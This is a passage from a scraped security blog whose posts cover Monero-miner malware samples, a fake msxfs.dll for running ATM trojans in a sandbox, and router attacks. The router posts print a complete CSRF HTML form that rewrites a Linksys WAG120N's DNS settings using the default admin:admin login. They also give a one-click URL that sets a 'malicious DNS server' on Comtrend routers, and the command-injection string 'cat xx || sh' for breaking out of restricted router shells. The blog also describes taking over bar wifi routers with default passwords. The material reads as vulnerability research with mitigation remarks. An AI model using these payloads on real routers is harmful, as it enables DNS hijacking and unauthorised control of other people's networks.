<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV5jJeuPlEAArze4F8GMfdVQSvY-1ZToBo4k4QDRFNhP0kM2jIGwJCVJ1yEkeeM7Jjj65JGRo994_hIvHSqO6wWgwabgppObhyphenhyphenkGHTI_iTnbKHdqa2XSF4Yp2rYeUx-A0SRjQ6kEsRp24/s1600/sin-tc3adtulo5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="427" data-original-width="253" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV5jJeuPlEAArze4F8GMfdVQSvY-1ZToBo4k4QDRFNhP0kM2jIGwJCVJ1yEkeeM7Jjj65JGRo994_hIvHSqO6wWgwabgppObhyphenhyphenkGHTI_iTnbKHdqa2XSF4Yp2rYeUx-A0SRjQ6kEsRp24/s400/sin-tc3adtulo5.png" width="236" /></a></div>
<br />
<br />
It’s a fast dissection of the sample aba2d86ed17f587eb6d57e6c75f64f05. We can see it is a simple worm with Monero mining payload. As we saw, it doesn’t use its own mining code, it uses wellknown mining tools. And it uses wellknown public pools.<br />
<br />
<h3>
Sample a30713271c6b283c39aeeba45c37adcf</h3>
<br />
A report about this sample:<br />
<br />
<a href="https://github.com/vallejocc/Malware-Analysis-Reports/blob/master/Trojan/Mupad_Microsoft/a30713271c6b283c39aeeba45c37adcf.pdf">https://github.com/vallejocc/Malware-Analysis-Reports/blob/master/Trojan/Mupad_Microsoft/a30713271c6b283c39aeeba45c37adcf.pdf</a><br />
<br />
Again, this sample uses third party tools to mine Monero:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMSALkd3GD2jcf0sOuDadyD2VdcjHwT5hc_8TgWgXKMYt4uXmU13RTVGyOXaELHTLTe4R3yQwmji0eVMPOWQTHe3MqbV4YlArUfIoWR4JSe8dvyxSceVfKpW8KqdTsUoW7aedEWBsgf-k/s1600/sin-tc3adtulo6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="109" data-original-width="700" height="98" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMSALkd3GD2jcf0sOuDadyD2VdcjHwT5hc_8TgWgXKMYt4uXmU13RTVGyOXaELHTLTe4R3yQwmji0eVMPOWQTHe3MqbV4YlArUfIoWR4JSe8dvyxSceVfKpW8KqdTsUoW7aedEWBsgf-k/s640/sin-tc3adtulo6.png" width="640" /></a></div>
<br />
<br />
This case it seems to be trying to use GPU in addition to CPU:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQudm5CZ4IDnaCpOl8mRigb790QXo1I7ajFZMIL8Y8REqVpSNO-XGGwM3kQjMZFKEKQyJVM3EdYkvhDSlzNGyZGUflZcQeLcihW1qSFI0XKEfZN6qebvzPBzClN14OmNo9P_yoe-SNA8o/s1600/sin-tc3adtulo7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="173" data-original-width="700" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQudm5CZ4IDnaCpOl8mRigb790QXo1I7ajFZMIL8Y8REqVpSNO-XGGwM3kQjMZFKEKQyJVM3EdYkvhDSlzNGyZGUflZcQeLcihW1qSFI0XKEfZN6qebvzPBzClN14OmNo9P_yoe-SNA8o/s640/sin-tc3adtulo7.png" width="640" /></a></div>
<br />
<br />
<h3>
Sample 4a3770627d1a0ae6c616a19f1645109e</h3>
<br />
We can see the analysis of hybrid-analysis here:<br />
<br />
<a href="https://www.hybrid-analysis.com/sample/a3039a60a707e1009ba3b39fe799623609ed2781110dab211f28c736878cf877?environmentId=100">https://www.hybrid-analysis.com/sample/a3039a60a707e1009ba3b39fe799623609ed2781110dab211f28c736878cf877?environmentId=100</a><br />
<br />
It is another Monero miner with similar behaviour, in the strings of the analysis we can find:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyLmErcc18t0IzB-2jsUURMzji4DBce3kPTRw_k9L10wphaMfy7PNTi4_ppwn8izNtijX85oqNPb3mSkPk2GT8t2xjGYh4x9A_Xb1LSzPqbS9tpegQ3u5F4quFoFja-VDOJ3GD146ti8s/s1600/sin-tc3adtulo8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="307" data-original-width="700" height="280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyLmErcc18t0IzB-2jsUURMzji4DBce3kPTRw_k9L10wphaMfy7PNTi4_ppwn8izNtijX85oqNPb3mSkPk2GT8t2xjGYh4x9A_Xb1LSzPqbS9tpegQ3u5F4quFoFja-VDOJ3GD146ti8s/s640/sin-tc3adtulo8.png" width="640" /></a></div>
<br />
<br />
<h3>
Sample 04ac0581436c838fdeb59f0aa79d1de7</h3>
<br />
Another more:<br />
<br />
<a href="https://www.hybrid-analysis.com/sample/21d69d32c5eb6c0b4781dcf872e1ddb8ba797b12c15c25b74d948d3cb8f02fd9/?environmentId=100">https://www.hybrid-analysis.com/sample/21d69d32c5eb6c0b4781dcf872e1ddb8ba797b12c15c25b74d948d3cb8f02fd9/?environmentId=100</a><br />
<br />
<br />
With similar behaviour:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv-a1oDTYniB3BBx8vZycBCp1SjJJGjx_n3MLH17yxjiZ2fjOmJjlkl8lXsrv8ipIIZB6ZPMk9u8_iKCub6wZ6fxobkdHkw8No2EZ4I_u0eMcXQRa68uYYTXemsc00ATZuat9mfz0SXo8/s1600/sin-tc3adtulo9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="157" data-original-width="700" height="142" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv-a1oDTYniB3BBx8vZycBCp1SjJJGjx_n3MLH17yxjiZ2fjOmJjlkl8lXsrv8ipIIZB6ZPMk9u8_iKCub6wZ6fxobkdHkw8No2EZ4I_u0eMcXQRa68uYYTXemsc00ATZuat9mfz0SXo8/s640/sin-tc3adtulo9.png" width="640" /></a></div>
<br />
<br /></div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-84037922021558302282015-09-29T09:41:00.000-07:002018-05-04T10:03:08.241-07:00Analyzing ATM malwareSince a time ago, they are beginning to appear a new wave of malware targeting Automated Teller Machines (ATM): Backdoor.MSIL.Tyupkin, Backdoor.Padpin, the newer GreenDispenser, etc… All of them seem to be using the eXtensions for Financial Services (XFS) library to manage ATM. If you try to debug/analyze or you introduce a sample of these malware families into a Cuckoo sandbox, it won’t run because it will fail to load msxfs.dll.<br />
<br />
<a name='more'></a><br />
The problem is that XFS seems to be a private library. Simulators and debug environments are private software, and expensive to buy. I have been not able to find a open source solution. For this reason i decided to implement a fake msxfs.dll. It will have the same exports than the original one. There isn’t enough documentation and it’s hard to create a perfect simulator dll, I tried to simulate the most typical commands that these malware families are using, for example for returning random digits from the pinpad when the trojan tries to recover them.<br />
<br />
Here you can find fake msxfs.dll’s source code and binaries:<br />
<br />
<a href="https://github.com/vallejocc/fake_msxfs">https://github.com/vallejocc/fake_msxfs</a><br />
<br />
The code is quite simple, the most interesting function is WFSExecute. It is used by the trojan to recover the pinpad data. The fake msxfs.dll returns random data. Some of these ATM trojans wait for a code introduced by the pinpad to show its backdoored menu. For example GreenDispender calls continuously to WFSExecute with the command WFS_CMD_PIN_GET_DATA to recover the pinpad pressed keys. When the expected combination is introduced, it shows the trojan menu. The fake msxfs.dll returns random data, and after N calls to WFSExecute, the correct code is matched and the trojan’s menu is showed:<br />
<div>
<br />
<div class="jetpack-video-wrapper" style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 1.6em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span class="embed-youtube" style="border: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;"><iframe allowfullscreen="true" class="youtube-player" data-height="424" data-ratio="0.6057142857142858" data-width="700" src="https://www.youtube.com/embed/jKKhV__cuKM?version=3&rel=1&fs=1&autohide=2&showsearch=0&showinfo=1&iv_load_policy=1&wmode=transparent" style="border-style: initial; border-width: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; height: 424px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline; width: 700px;" type="text/html"></iframe></span></div>
(<a href="https://www.proofpoint.com/us/threat-insight/post/Meet-GreenDispenser">Here</a> you can find a detailed analysis of GreenDispenser and the sample of the video <a href="https://malwr.com/analysis/ZWVkN2NlMWMzNWE4NDI1MmFjZmQzNmIxNjJhZDZmNzQ/">b7e61f65e147885ec1fe6a787b62d9ee82d1f34f1c9ba8068d3570adca87c54f</a>).<br />
<br />
Fake msxfs.dll could be used for debugging this type of trojans, or it could be added to Cuckoo sandbox machines for example, for, at least, getting these malware families running and the Cuckoo’s behavioural logs.<br />
<br />
Related links:<br />
<br />
<a href="https://otx.alienvault.com/pulse/56043c0667db8c47d4cdfacb/">https://otx.alienvault.com/pulse/56043c0667db8c47d4cdfacb/</a><br />
<br />
<a href="https://www.proofpoint.com/us/threat-insight/post/Meet-GreenDispenser">https://www.proofpoint.com/us/threat-insight/post/Meet-GreenDispenser</a><br />
<br />
<a href="http://www.safensoft.com/archiv/n/819/1796">http://www.safensoft.com/archiv/n/819/1796</a><br />
<br />
<a href="http://resources.infosecinstitute.com/hacking-atms-new-wave-malware/">http://resources.infosecinstitute.com/hacking-atms-new-wave-malware/</a><br />
<br />
<a href="http://security.blogoverflow.com/2012/08/exploiting-atms-a-quick-overview-of-recent-hacks/">http://security.blogoverflow.com/2012/08/exploiting-atms-a-quick-overview-of-recent-hacks/</a><br />
<br />
<a href="https://securelist.com/blog/research/66988/tyupkin-manipulating-atm-machines-with-malware/">https://securelist.com/blog/research/66988/tyupkin-manipulating-atm-machines-with-malware/</a><br />
<br />
<a href="https://www.symantec.com/security_response/writeup.jsp?docid=2014-051213-0525-99&tabid=2">https://www.symantec.com/security_response/writeup.jsp?docid=2014-051213-0525-99&tabid=2</a><br />
<br />
<a href="https://en.wikipedia.org/wiki/CEN/XFS">https://en.wikipedia.org/wiki/CEN/XFS</a></div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-27641210463589500462015-08-23T09:07:00.000-07:002018-05-04T10:04:36.414-07:00Cross site request forgery vulnerability in Linksys WAG120NIn my <a href="https://vallejo.cc/2015/08/16/poor-security-in-soho-routers-again-changing-configuration-parameters-with-a-click/">previous post</a> i described a vulnerability that would let configure DNS in multiple models of Comtrend routers by clicking an url like this:<br />
<br />
<a href="http://admin:admin@192.168.1.1/dnscfg.cgi?dnsRefresh=1&dnsPrimary=ip_address_malicious_dns_server&dnsSecondary=ip_address_malicious_dns_server2">http://admin:admin@192.168.1.1/dnscfg.cgi?dnsRefresh=1&dnsPrimary=ip_address_malicious_dns_server&dnsSecondary=ip_address_malicious_dns_server2</a><br />
<br />
I am pretty sure that many models of Comtrend and other manufacturers suffer vulnerabilities of this type. In this post i am going to describe how to attack a router Linksys WAG120N in a similar way.<br />
<br />
<a name='more'></a><br />
Linksys WAG120N won’t accept the configuration if it is sent in the url by method GET. It is necessary to send the configuration by method POST, so in this case we will need to create an HTML with a <form> with the parameters that we want to send to the router. We will put router’s default values and we will change only user and password and DNS addresses:<br />
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;"><html>
<head>
</head>
<body>
<form name="setup" method="POST" action="http://admin:admin@192.168.1.1/setup.cgi">
...
...
<INPUT type="text" name="PoeUserName" value="admin" maxLength="62" size="26" >
<INPUT type="password" name="PoePasswd" value="admin" maxLength="43" size="26" >
...
...
<input type="hidden" name="c4_static_dns0_" value="1.2.3.4">
<input type="hidden" name="c4_static_dns1_" value="5.6.7.8">
<input type="hidden" name="c4_static_dns2_" value="9.10.11.12">
...
...
<input type="submit">
</form>
</body>
</html></pre>
If a user visit this HTML, when the form is submitted (it could be submitted automatically with javascript) the router configuration is changed (in this example DNS addresses given by DHCP are configured but any configuration could be modified). The complete HTML code is in the end of this article.<br />
<br />
I am almost sure other models of different manufacturers can be configured in similar ways. From my point of view, routers interfaces should only accept new incoming connections to a welcome page. In that welcome page, a session key should be generated and kept while the session is open. In this way a user could not go directly to critical configuration menus. For example, a user could not go directly to the menu to configure DNS addresses, because he must go to the welcome page first, where a session key is generated, assigned and validated when critical configurations are going to be changed.<br />
<br />
Mitigation:<br />
<br />
Internet Explorer doesn’t accept username and password in the URL of the form action (I mean the syntax <a href="http://user:password@domain.com/">http://user:password@domain.com</a>). Currently chrome and firefox are accepting username and password in the URL. I don’t know about other browsers.<br />
<br />
Complete HTML:<br />
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;"><html>
<head>
</head>
<body>
<form name="setup" method="POST" action="http://admin:admin@192.168.1.1/setup.cgi">
<INPUT type="radio" name="wan_multiplex" value="llc">
<INPUT type="radio" name="wan_multiplex" value="vc">
<INPUT type="radio" name="pppoa_multiplex" value="llc">
<INPUT type="radio" name="pppoa_multiplex" value="vc">
<INPUT type="text" class="num" maxlength="5" size="5" value="" name="wan_pcr">
<INPUT type="text" class="num" maxlength="5" size="5" value="" name="wan_scr">
<INPUT type="radio" name="wan_autodetect" value="enable">
<INPUT type="radio" name="wan_autodetect" value="disable">
<INPUT type="text" class="num" maxlength="3" size="5" value="0" name="wan_vpi">
<INPUT type="text" class="num" maxlength="5" size="5" value="38" name="wan_vci">
<INPUT type="radio" name="bridged_dhcpenable" value="dhcp">
<INPUT type="radio" name="bridged_dhcpenable" value="fixedip">
<INPUT type="text" name="wan_ip_1" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_ip_2" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_ip_3" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_ip_4" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_mask_1" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_mask_2" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_mask_3" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_mask_4" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_gw_1" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_gw_2" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_gw_3" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_gw_4" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_1" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_2" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_3" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns1_4" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_1" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_2" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_3" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="wan_dns2_4" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="PoeUserName" value="admin" maxLength="62" size="26" >
<INPUT type="password" name="PoePasswd" value="admin" maxLength="43" size="26" >
<INPUT type="text" name="PoeService" value="" maxLength="43" size="26" >
<INPUT type="radio" name="pppoeDODC" value="pppoeDODC">
<INPUT type="text" class="num" name="poeIdleTime" value="5" maxLength="4" size="4" >
<INPUT type="radio" name="pppoeDODC" value="pppoeKA">
<INPUT type="text" class="num" name="pppoeRedialTime" value="30" maxLength="3" size="4" >
<INPUT type="text" name="bpas_ip_1" value="" class="num" maxlength="3" size="3" >
<INPUT type="text" name="bpas_ip_2" value="" class="num" maxlength="3" size="3" >
<INPUT type="text" name="bpas_ip_3" value="" class="num" maxlength="3" size="3" >
<INPUT type="text" name="bpas_ip_4" value="" class="num" maxlength="3" size="3" >
<INPUT type="text" name="bpaUserName" value="" maxLength="62" size="26" >
<INPUT type="password" name="bpaPasswd" value="" maxLength="43" size="26" >
<INPUT type="radio" name="bpaDODC" value="bpaDODC">
<INPUT type="text" name="bpaIdleTime" value="5" class="num" maxLength="2" size="4" >
<INPUT type="radio" name="bpaDODC" value="bpaKA">
<INPUT type="text" name="bpaRedialTime" value="30" class="num" maxLength="3" size="4" >
<INPUT type="text" name="hostname" value="" maxlength="30" size="26">
<INPUT type="text" name="domainname" value="" maxlength="62" size="26" >
<INPUT type="text" name="mtu_size" value="1492" class="num" maxLength="5" size="5" >
<INPUT type="text" name="lan_ip_1" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="lan_ip_2" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="lan_ip_3" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="text" name="lan_ip_4" value="" class="ipnum" maxlength="3" size="3">
<INPUT type="radio" name="lan_dhcp" value="enable">
<INPUT type="radio" name="lan_dhcp" value="disable">
<INPUT type="radio" name="lan_dhcp" value="relay">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value="" name="dhcpserver_ip_1">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value="" name="dhcpserver_ip_2">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value="" name="dhcpserver_ip_3">
<INPUT type="text" class="ipnum" maxLength="3" size="3" value="" name="dhcpserver_ip_4">
<INPUT class="ipnum" maxlength="3" size="3" value="100" name="dhcp_start">
<INPUT type="text" class="num" maxlength="3" size="3" value="50" name="dhcp_num">
<INPUT type="text" class="num" maxlength="4" size="4" value="0" name="dhcp_lease">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns0_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns0_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns0_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns0_4">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns1_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns1_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns1_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns1_4">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns2_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns2_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns2_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="static_dns2_4">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="wan_wins_1">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="wan_wins_2">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="wan_wins_3">
<INPUT type="text" class="ipnum" maxlength="3" size="3" value="" name="wan_wins_4">
<INPUT type="checkbox" name="auto_dls" value="auto_dls">
<input type="hidden" name="h_ethwan_enable" value="disable">
<input type="hidden" name="c4_wan_ip_" value="">
<input type="hidden" name="c4_wan_mask_" value="">
<input type="hidden" name="c4_wan_gw_" value="">
<input type="hidden" name="c4_wan_dns1_" value="">
<input type="hidden" name="c4_wan_dns2_" value="">
<input type="hidden" name="c4_lan_ip_" value="192.168.1.1">
<input type="hidden" name="c4_dhcpserver_ip_" value="">
<input type="hidden" name="c4_static_dns0_" value="1.2.3.4">
<input type="hidden" name="c4_static_dns1_" value="5.6.7.8">
<input type="hidden" name="c4_static_dns2_" value="9.10.11.12">
<input type="hidden" name="c4_wan_wins_" value="">
<input type="hidden" name="c4_bpas_ip_" value="">
<input type="hidden" name="h_bpaDODC" value="bpaDODC">
<input type="hidden" name="h_wan_encapmode" value="pppoa">
<input type="hidden" name="h_wan_multiplex" value="llc">
<input type="hidden" name="h_pppoa_multiplex" value="llc">
<input type="hidden" name="h_wan_qostype" value="ubr">
<input type="hidden" name="h_dsl_mode" value="a">
<input type="hidden" name="h_wan_autodetect" value="enable">
<input type="hidden" name="h_bridged_dhcpenable" value="dhcp">
<input type="hidden" name="h_pppoeDODC" value="pppoeDODC">
<input type="hidden" name="h_mtu_type" value="auto">
<input type="hidden" name="h_lan_mask" value="0">
<input type="hidden" name="h_lan_dhcp" value="enable">
<input type="hidden" name="h_time_zone" value="+0 2">
<input type="hidden" name="h_auto_dls" value="disable">
<input type="hidden" name="PppoeUserName" value="">
<input type="hidden" name="PppoePasswd" value="">
<input type="hidden" name="PppoeService" value="">
<input type="hidden" name="PppoaUserName" value="admin">
<input type="hidden" name="PppoaPasswd" value="admin">
<input type="hidden" name="oldip" value="192.168.1.1">
<input type="hidden" name="h_upgrade_langpkt" value="1">
<input type="hidden" name="todo" value="save">
<input type="hidden" name="this_file" value="Setup.htm">
<input type="hidden" name="next_file" value="Setup.htm">
<input type="hidden" name="message" value="">
<input type="hidden" name="h_wps_cur_status" value="">
<input type="submit">
</form>
</body>
</html></pre>
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<br /></div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-35943337387144425582015-08-16T09:01:00.000-07:002018-05-04T10:04:03.209-07:00Poor security in SOHO routers, again. Changing configuration parameters with a clickIt is well known by all the poor security of SOHO routers distributed by ISPs. Vulnerabilities, default passwords,… These routers expose inexperienced users to be hacked.<br />
<br />
I want to share here a method which I have been playing that would let us to configure some router models when a user clicks a link created by us. I have not read about this method on the internet, sorry if I am wrong and it’s not new. The method is quite simple. It is usual to find routers with default passwords. And these devices usually offers a HTTP based interface to configure them. And some models accept configuration parameters through the URL.<br />
<br />
<a name='more'></a><br />
Here it is the VR-3025un’s menu for DNS configuration:<br />
<br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4kU7rg4VwP14QVZE4gzrnWfJhzaacFt9UwXN9HDOwPyjGK_6RhXTe0bMeP780R8y4f5wG9rNDyvwov1z8gNwFMIZ42zr2z43MSG_tNSZKczeGmj5eVhlvDw8oWWg6VyTQKZy-QE_DTio/s1600/routers_hack_config_link_image1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="527" data-original-width="1023" height="328" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4kU7rg4VwP14QVZE4gzrnWfJhzaacFt9UwXN9HDOwPyjGK_6RhXTe0bMeP780R8y4f5wG9rNDyvwov1z8gNwFMIZ42zr2z43MSG_tNSZKczeGmj5eVhlvDw8oWWg6VyTQKZy-QE_DTio/s640/routers_hack_config_link_image1.jpg" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
If we see the source code of the web we can see the javascript code that validates the DNS addresses and calls the CGI to set the configuration:<br />
<br />
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">function btnApply() {
var loc = 'dnscfg.cgi?';
with ( document.forms[0] ) {
if ( isValidIpAddress(dnsPrimary.value) == false ) {
alert('Primary DNS "' + dnsPrimary.value + '" has invalid IP address.');
return;
}
loc += 'dnsPrimary=' + dnsPrimary.value;
if (dnsSecondary.value != '') {
if ( isValidIpAddress(dnsSecondary.value) == false ) {
alert('Secondary DNS "' + dnsSecondary.value + '" has invalid IP address.');
return;
}
loc += '&dnsSecondary=' + dnsSecondary.value;
}
else
loc += '&dnsSecondary=' + '0.0.0.0';
loc += '&dnsRefresh=1';
}
loc += '&sessionKey=' + sessionKey;
var code = 'location="' + loc + '"';
eval(code);
}</pre>
The default user:password for this router is admin:admin. The default ip address for the network router is 192.168.1.1.<br />
<br />
If the user clicks this simple URL (for example if he receives it by email), our malicious DNS server will be set to the device:<br />
<br />
<a href="http://-/">http://admin:admin@192.168.1.1/dnscfg.cgi?dnsRefresh=1&dnsPrimary=<ip_address_malicious_dns_server>&dnsSecondary=<ip_address_malicious_dns_server2></a><br />
<br />
Other configurations could be modified too (proxies, DMZ, WAN interface access,…).<br />
<br />
(Note in the javascript code, a sessionKey is used. It seems to be ignored by dnscfg.cgi and the new DNS configuration is set with no problems).<br />
<br />
Models tested:<br />
Comtrend VR-3025un<br />
Comtrend AR-5387un<br />
Comtrend AR-5381un<br />
<br />
These routers are currently being used by many jazztel ISP’s clients in Spain (maybe other ISPs in other countries use these models too).<br />
<br />
Almost sure, other comtrend models are vulnerable. And probably, models from other manufacturers are vulnerable to this method too (adapting the URL to the specific device). I will test other models as soon as possible and update my blog. It could be possible to prepare a html webpage with frames to try multiple malicious links (for example the webpage would load a frame that loads the malicious link that i commented previously for comtrend models, other frame for other models, etc…). It goes to the TODO list too 😄<br />
<br />
Mitigation:<br />
<br />
Internet Explorer doesn’t accept username and password in the URL (I mean the syntax <a href="http://user:password@domain.com/">http://user:password@domain.com</a>). Currently chrome and firefox are accepting username and password in the URL. I don’t know about other browsers.</div>
</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-36744800440547059952015-07-14T08:57:00.000-07:002018-05-04T10:04:14.775-07:00Controlling BusyBox based routers with MetasploitBusyBox, called the swiss army knife of embbeded linux, is a software application that combines tiny versions of common unix utilities into a single small executable, as we can read in the busyBox project page. It is widely used in embedded devices, specially in modem/routers, thought it is used too in other type of devices like music systems, ebooks (i.e. kindle), phones, etc…<br />
<br />
<a name='more'></a><br />
BusyBox is single binary. It is implemented having in mind size-optimizations and limited resources environments. It implements a lot of common unix commands. To use each command, you should call BusyBox giving the command as parameter, i.e.: /bin/busybox ls. Usually, commands that are implemented by busybox have fewer options than the original full-featured command. BusyBox uses ash shell (/bin/busybox sh).<br />
<br />
As we said, a lot of router devices are using BusyBox. It is quite probably that a router shows to you a limited command line interface to manage it, for example when you connect via telnet. However, these limited shells use BusyBox for executing some of the commands that they offer, and it is common to find devices that are vulnerable to command injection attacks that would let us to use directly the busybox ash shell.<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span id="more-183" style="border: 0px; box-sizing: border-box; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"></span></div>
<h2>
Metasploit scripts</h2>
<div>
<br /></div>
<div>
I decided to implement a set of metasploit scripts to help to control this type of BusyBox based routers. You can find them here:<br />
<ul>
<li><a href="https://github.com/vallejocc/busybox_control">https://github.com/vallejocc/busybox_control</a> </li>
</ul>
If you would like to use them, you should copy them to the proper metasploit subdirectory:<br />
<div>
<ul>
<li>busybox_control.rb – <metasploit directory>\apps\pro\msf3\modules\post\linux\manage\busybox_control.rb</li>
<li>busybox_jailbreak.rb – <metasploit_directory>\apps\pro\msf3\modules\post\linux\manage\busybox_jailbreak.rb</li>
<li>auto_brute.rc – <metasploit directory>\apps\pro\msf3\scripts\resource\auto_brute.rc</li>
<li>busybox_control.sh – <metasploit directory>\apps\pro\msf3\data\post\busybox_control.sh</li>
</ul>
</div>
<div>
First, you need to connect the device shell.<br />
<br />
Depending of the target router, there are vulnerabilities and exploits (against http interface for example) to get a shell into the device.<br />
<br />
It is common too to find these type of devices with telnet access enabled and default login/password configured. I am not sure how it is in other countries, but usually, here, in Spain, you can go to a bar to take a beer and connect the bar’s open wifi or ask for the wifi password to connect your laptod or mobile. Almost all the times that i connected to a wifi in a bar, i found default logins/passwords configured for telnet or http router’s services (imagine for example that you change the dns address that the bar’s router gives to the clients via dhcp with your fake dns address).<br />
<br />
When you connect by telnet, the router usually shows a limited shell with specific commands to configure this specific router. Lot of times, this limited interface are vulnerable to command injection attacks. Busybox_jailbreak.rb is a POST metasploit ruby script that will try some common command injection attacks against a session connected to a router limited shell. For example, lof of comtrend routers that have been widely used by spanish internet service providers (comtrend ar-5387 un, comtrend vr-3025 un, comtrend 5381 u, comtrend 5361,…) are vulnerable: in this routers’s limited shell you only need to execute cat xx || sh to get the busybox ash shell.<br />
<br />
